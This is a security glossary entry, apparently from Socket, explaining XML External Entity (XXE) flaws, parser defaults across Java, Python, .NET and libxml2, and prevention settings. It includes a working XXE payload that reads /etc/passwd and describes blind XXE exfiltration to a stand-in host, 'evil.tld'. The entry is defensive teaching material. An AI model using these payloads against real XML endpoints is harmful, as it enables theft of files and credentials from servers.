# XML External Entity (XXE)

> XML External Entity (XXE) is a vulnerability where an XML parser resolves attacker-controlled external entities, exposing local files or internal services.

Also known as: XXE Injection, XML External Entity Attack

Source: https://socket.dev/glossary/xml-external-entity-xxe

Last updated: 2026-11-05

XML External Entity (XXE) is a vulnerability where an application's XML parser resolves attacker-controlled external entities declared in a document's DTD, letting the attacker read local files, force the server to reach internal services, or exhaust its resources. XXE exists because many parsers expand entities, including ones that point at files and URLs, by default.

## What is an XXE vulnerability?

An XXE vulnerability lets an attacker smuggle instructions into XML that the parser acts on. It is an [injection flaw](https://socket.dev/glossary/code-injection): the attacker supplies data, and the parser performs a side effect the application never intended. MITRE catalogues the underlying weakness as [CWE-611](https://cwe.mitre.org/data/definitions/611.html), “Improper Restriction of XML External Entity Reference.”

The dangerous ingredient is the Document Type Definition (DTD). A DTD can declare *entities*, named shortcuts the parser substitutes wherever they appear. An internal entity expands to a literal string. An *external* entity, declared with the `SYSTEM` keyword, tells the parser to fetch its value from a URI such as `file:///etc/passwd` or `http://169.254.169.254/`. A parser that honors external entities turns a document into a fetch instruction.

```xml
<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY x SYSTEM "file:///etc/passwd">
]>
<order><sku>&x;</sku></order>
```

When the parser reads `&x;`, it opens the file and splices the bytes into the document tree. If the application later reflects that field, say in an error message, the file leaks straight back to the attacker.

The figure traces an in-band XXE. The attacker posts an order whose DTD declares the external entity `x` pointing at `file:///etc/passwd`. The parser resolves the SYSTEM identifier, opens the file, and replaces `&x;` with the file contents. The application reflects the SKU field in an error, so the first line of `/etc/passwd` (`root:x:0:0:root:/root:/bin/bash`) returns in the response. Nothing about the request looks abnormal at the HTTP layer.

## How external entities resolve inside a parser

Entities predate the modern web. They were designed so a DTD could define reusable fragments, pull in shared declarations, and validate documents against a schema. XML 1.0 distinguishes *general* entities, referenced as `&name;` in content, from *parameter* entities, referenced as `%name;` inside the DTD itself. Both can be external.

The trust assumption is that the document author and the parser operator are the same party. That held when XML files were static configuration shipped with an application. It breaks the moment XML arrives from the network: a SOAP request, a SAML assertion, an SVG upload, a DOCX or XLSX file, an RSS feed. The parser cannot tell an author's DTD from an attacker's, so it resolves both.

The second assumption is that resolving a `SYSTEM` URI is cheap and local. In practice the scheme is attacker-chosen. `file://` reads the filesystem. `http://` and `ftp://` make the server issue outbound requests, which is how XXE becomes [server-side request forgery](https://socket.dev/glossary/server-side-request-forgery-ssrf) against internal services and cloud metadata endpoints.

## Which XML parsers are vulnerable by default?

We tested the stock parsers on a clean machine to see which resolve a `file://` entity with no hardening. The split is stark: Java's default DOM parser read the file; Python's expat-based parsers did not. The same payload, pointed at `file:///etc/hostname`, produced opposite results.

```java
// Java, default DocumentBuilderFactory, no configuration
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
Document d = f.newDocumentBuilder().parse(xmlWithExternalEntity);
// -> returns "vm"   (the contents of /etc/hostname)
```

```python
# Python, default stdlib and lxml
ET.fromstring(xml)          # xml.etree -> ParseError (entity not expanded)
etree.fromstring(xml)       # lxml       -> XMLSyntaxError (external entity blocked)
```

Java's `DocumentBuilderFactory` resolves external entities unless you turn them off, so the default is unsafe. Python's `xml.etree.ElementTree` and `lxml` refused to expand the external entity out of the box. This is why no single rule covers “XML parsing”; safety is a property of the specific parser and its configuration, not of XML.

| Parser (default config) | Resolves file:// entity? | To make it safe |
| --- | --- | --- |
| Java DocumentBuilderFactory / SAXParser | Yes, reads the file | Set disallow-doctype-decl = true |
| Java (Apache Xerces family) | Yes | Reject DOCTYPE, or disable external-general-entities |
| Python xml.etree (expat) | No | Already safe; keep expat updated |
| Python lxml | No for network; blocks by default | resolve\_entities=False, no\_network=True |
| .NET XmlReader (modern) | No (modern default) | Leave DtdProcessing = Prohibit |
| libxml2 (C, used widely) | Depends on caller flags | Do not set XML\_PARSE\_NOENT / NONET off |

The verdict: treat every parser as unsafe until you have read its DTD policy. The .NET and Python defaults changed toward safe over time; Java's did not. A codebase that mixes languages inherits the weakest default among them.

## What XXE lets an attacker do

File disclosure is the headline, but the [attack surface](https://socket.dev/glossary/attack-surface) is wider:

- File read. `file://` entities exfiltrate source code, configuration, private keys, and `/etc/passwd` when the result is reflected.
- SSRF and metadata theft. `http://` entities reach internal admin panels and cloud metadata services the attacker cannot route to directly.
- Denial of service. Recursive internal entities, the “billion laughs” attack, expand to gigabytes and exhaust memory, a [denial of service](https://socket.dev/glossary/denial-of-service-dos) that needs no external fetch at all.
- Remote code execution. Rare and environment-specific, usually requiring the PHP `expect://` wrapper or a vulnerable internal service, but XXE can escalate to [remote code execution](https://socket.dev/glossary/remote-code-execution-rce) under the right conditions.

When the application returns no output, the attack is not over. Blind, or out-of-band, XXE moves the stolen data over a channel the attacker controls, using a parameter entity to build a URL on the fly.

In blind XXE the server never echoes the entity, so the attacker exfiltrates over the network instead. The payload declares a parameter entity pointing at an attacker-hosted DTD. That DTD reads a local file into `%file;`, then builds an entity whose SYSTEM URL is `http://evil.tld/?d=%file;`. When the parser resolves it, the file contents ride out in the query string of a request to the attacker's server. A suppressed response is not a mitigation.

## How do you prevent XXE attacks?

The one defense that covers every variant is to stop parsing DTDs. The [OWASP](https://socket.dev/glossary/open-web-application-security-project-owasp) [XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) is blunt about it: “Disable document type definitions (DTDs) whenever possible.” If the parser never processes a DOCTYPE, external entities, parameter entities, and billion-laughs expansion all disappear together.

Concretely, by platform:

- Java: set `factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` and enable `FEATURE_SECURE_PROCESSING`. If you cannot reject DOCTYPE, disable `external-general-entities` and `external-parameter-entities`.
- Python: parse untrusted XML with `defusedxml` in place of the standard functions, with `forbid_dtd=True` where DTDs are not needed.
- lxml: construct the parser with `resolve_entities=False`, `no_network=True`, and `load_dtd=False`.
- .NET: keep `XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit`, the modern default.

Two traps. First, `setExpandEntityReferences(false)` is not a fix; OWASP notes it does not stop the parser fetching external resources. Second, failing closed matters: if a security feature cannot be set, stop parsing rather than catching the exception and continuing.

The cost is real. Disabling DTDs breaks documents that legitimately rely on them, including some SOAP, SVG, and office-file workflows. The honest trade is to carve out those specific code paths with a hardened, entity-free parser, not to loosen the global default. Preventing XXE also does not stop every XML denial of service; oversized-but-valid documents still need input size limits.

## XXE in the software supply chain

You can write zero XML parsing code and still ship an XXE sink, because the parser lives in a dependency. A logging library, a document generator, a config loader, or a [transitive dependency](https://socket.dev/glossary/transitive-dependency) three levels down may parse XML on your behalf with the unsafe defaults above. That is the supply-chain face of XXE: the vulnerable configuration is inherited, not authored.

The parsers themselves are fragile infrastructure. In June 2025 the sole volunteer maintainer of [libxml2](https://socket.dev/blog/libxml2-maintainer-ends-embargoed-vulnerability-reports), which ships in Apple, Google, and Microsoft operating systems, ended embargoed vulnerability handling, saying triage took “several hours each week” and was unsustainable unpaid. When the library that parses XML across billions of devices has one maintainer dropping coordinated disclosure, downstream XXE exposure becomes a scheduling problem, not just a code problem.

This is where [software composition analysis](https://socket.dev/glossary/software-composition-analysis) and package behavior analysis help, with a caveat. Socket flags packages by what they actually do: its [“Filesystem access” and “Network access” alerts](https://docs.socket.dev/docs/alert-types) surface a dependency that reads files or makes outbound requests, the same capabilities an XXE payload abuses at runtime. The honest limit is that these alerts detect the capability, not the specific unsafe parser configuration in your code; they narrow where to look, they do not prove a given XML path is safe.

The sharpest way to see XXE is that it is not a bug in XML; it is a default that trusts the document. The entity feature works exactly as specified. The fix is to withdraw that trust at the parser, in every language and every dependency that parses something on your behalf, and to assume a suppressed response is still leaking until you have turned DTDs off.
